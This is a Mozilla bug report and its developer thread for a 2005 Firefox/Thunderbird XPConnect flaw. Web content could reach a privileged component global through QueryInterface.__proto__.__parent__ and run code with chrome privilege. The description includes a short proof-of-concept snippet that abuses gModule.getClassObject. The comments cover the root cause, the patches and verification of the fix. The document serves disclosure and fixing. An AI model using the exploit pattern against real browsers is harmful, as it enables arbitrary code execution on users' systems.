294795 - QueryInterface.__proto__.__parent__ refers to the object generated by "nsExtensionManager.js"

Status: RESOLVED FIXED

(Core :: XPConnect, defect)

Description

[moz_bug_r_a4]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

Any_XPCOM_Object.QueryInterface.__proto__.__parent__ refers to the object
generated by "nsExtensionManager.js". And content window can use its properties
and functions. This bug allows an attacker to run arbitrary code.


  s1 = new Script("Components.stack");
  s2 = new QueryInterface.__proto__.__parent__.Script("Components.stack");

When chrome calls s1.exec(), this error message appears:
  Error: function Script.prototype.exec must be called directly, and not by
  way of a function of another name

But, when chrome calls s2.exec(), its code is executed with chrome privilege.
And, there are ways to make chrome call a Script object created by content.

------
Target code: from nsExtensionManager.js
  var gModule = {
    getClassObject: function (aComponentManager, aCID, aIID) 
    {
      if (!aIID.equals(Components.interfaces.nsIFactory))
        throw Components.results.NS_ERROR_NOT_IMPLEMENTED;

      for (var key in this._objects) {
        if (aCID.equals(this._objects[key].CID))
          return this._objects[key].factory;
      }
    
      throw Components.results.NS_ERROR_NO_INTERFACE;
    },

Exploit code:
  var b = QueryInterface.__proto__.__parent__;
  var iid = { equals : new b.Script(code) };
  b.gModule.getClassObject(null, null, iid);
------

Note for trunk builds:
If user did install/uninstall or enable/disable Extensions, at next time user
start Firefox, QueryInterface.__proto__.__parent__ refers to the other object
generated by "inspector-cmdline.js". but, it doesn't stop exploits.

Affected:
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Firefox/1.0+

(Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2
(Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050518 Thunderbird/1.0.4
(Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050518 Thunderbird/1.0+


Reproducible: Always

Steps to Reproduce:

Comment 1

[moz_bug_r_a4]

Attachment: testcase

Comment 2

[moz_bug_r_a4]

Mozilla suite is not affected by this bug, but there is similar bug (probably
harmless?) that affects Mozilla suite, Firefox and Thunderbird. see Bug 294799 

Comment 3

[David Baron :dbaron: (⌚️UTC-4, no longer working on Mozilla)]

Is this really any XPCOM object, or just those with classinfo?

Comment 4

[Daniel Veditz [:dveditz]]

Confirming.

Testcase didn't work when I had AdBlock enabled, it may be somewhat random what
component you reach if you've got a lot of extras installed. Do not call this
bug fixed or WFM unless you test in -safe-mode.

Comment 5

[moz_bug_r_a4]

>Is this really any XPCOM object, or just those with classinfo?

|Components| object doesn't have nsIClassInfo interface. but,
Components.QueryInterface.__proto__.__parent__ refers to the same object.


tested with Firefox1.0.4 + Adblock:
QueryInterface.__proto__.__parent__ refers to nsIAppShellService.hiddenDOMWindow
that contains the object generated by "adblock.jar!/content/component.js".

Comment 6

[Peter Van der Beken [:peterv]]

I think this bug, bug 294799 and bug 295011 all have the same cause. We use the
safe context when creating the function objects for native member functions in
XPConnect, see XPCNativeMember::Resolve
(http://lxr.mozilla.org/seamonkey/source/js/src/xpconnect/src/xpcwrappednativeinfo.cpp#114).
I'm not sure how JS components' objects get into the safe context' global
object, probably because some of them run code pretty early on startup.

Comment 7

[chris hofmann]

jst looking at this for b3

Comment 8

[Mike Shaver (:shaver emeritus)]

The JS component stuff is almost certainly what ends up creating the safe
context, which means that the first component's global is what gets set as the
safe context's global when we call InitClassesWithWrappedNative in the component
loader's GlobalForLocation.  (Working from recent memory, don't have it open
right now.)

We can probably save-and-restore the safe context's global around that set of
calls, to avoid that sort of leakage, though I'd sort of rather the safe context
always made its own global object of some known heritage.

Comment 9

[Johnny Stenback (:jst)]

Attachment: Stop leaking the safe context's global to all windows.

This fixes this problem by stopping the sharing of JS function objects from the
safe context's global. The downside is that now all clones of the "real"
functions need to carry the data in the reserved slots (2) instead of getting
that from the "real" function object. This means all functions get bigger (2
slots on a JSObject). But really, exposing the safe context's global to any
code is just wrong, so I'd think this is worth the hit unless someone can think
of a better way to do this...

Comment 10

[Johnny Stenback (:jst)]

Attachment: Same for JS_CloneFunctionObject() in xpccomponets.cpp.

Just realized that I missed a call to JS_CloneFunctionObject() in
xpccomponents.cpp. That was the last thing that required that we try to get the
reserved slots off of the "real" function object, so I was able to take out the
code to get to the real function object. This one's ready to land, me thinks.

Comment 11

[Boris Zbarsky [:bzbarsky]]

Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
and nsJSContext::BindCompiledEventHandler

Comment 12

[moz_bug_r_a4]

XBL needs to be fixed.
Bug 296397

Comment 13

[Brendan Eich [:brendan]]

*** Bug 296397 has been marked as a duplicate of this bug. ***

Comment 14

[Brendan Eich [:brendan]]

(In reply to comment #11)
> (From update of attachment 185071 [details] [diff] [review] [edit])
> r=bzbarsky; we should check whether we need similar fixes for XBL, liveconnect,
> and nsJSContext::BindCompiledEventHandler

Why the last?  It's a primitive, a tool that callers have to use well.  How can
it  avoid abusage at a higher level that leads to "super-proto" entrainment/leakage?

/be

Comment 15

[Brendan Eich [:brendan]]

Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

sr=me but please consider taking xpc_CloneJSFunction out of line.  If doing so
has no code savings on tier-1 platforms, nm.

Restoring r+ from bz lost due to product change (bugzilla bug!).  1.8b3+'ing.

/be

Comment 16

[Johnny Stenback (:jst)]

Attachment: Same thing with xpc_CloneJSFunction() uninlined.

Comment 17

[Johnny Stenback (:jst)]

Fix checked in.

Comment 18

[Johnny Stenback (:jst)]

Note, this caused bug 296467.

Comment 19

[Johnny Stenback (:jst)]

Oops. Somehow I mixed bugs up here and thought that this was already approved
for the branches. I see now that it wasn't, but I already checked this in on the
aviary branch :(

Let me know if I need to back this out.

Comment 20

[Johnny Stenback (:jst)]

Attachment: Aviary branch version.

Comment 21

[Jay Patel [:jay]]

jst: Should we add the fixed-aviary1.0.5 keyword since you already checked in on
the Aviary branch?

Is this supposed to make it onto the Mozilla 1.7.9 branch?

Comment 22

[Jay Patel [:jay]]

Comment on attachment 185071 [details] [diff] [review]
Same for JS_CloneFunctionObject() in xpccomponets.cpp.

Looks like this already landed on the Aviary branch...but did it make it onto
the 1.7.9?  If not, a=jay, let's get it in.

Comment 23

[Johnny Stenback (:jst)]

Fixed on trunk and both branches.

Comment 24

[Jay Patel [:jay]]

v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9)
Gecko/20050706 Firefox/1.0.5 using original testcase.

Comment 25

[Daniel Veditz [:dveditz]]

Adding distributors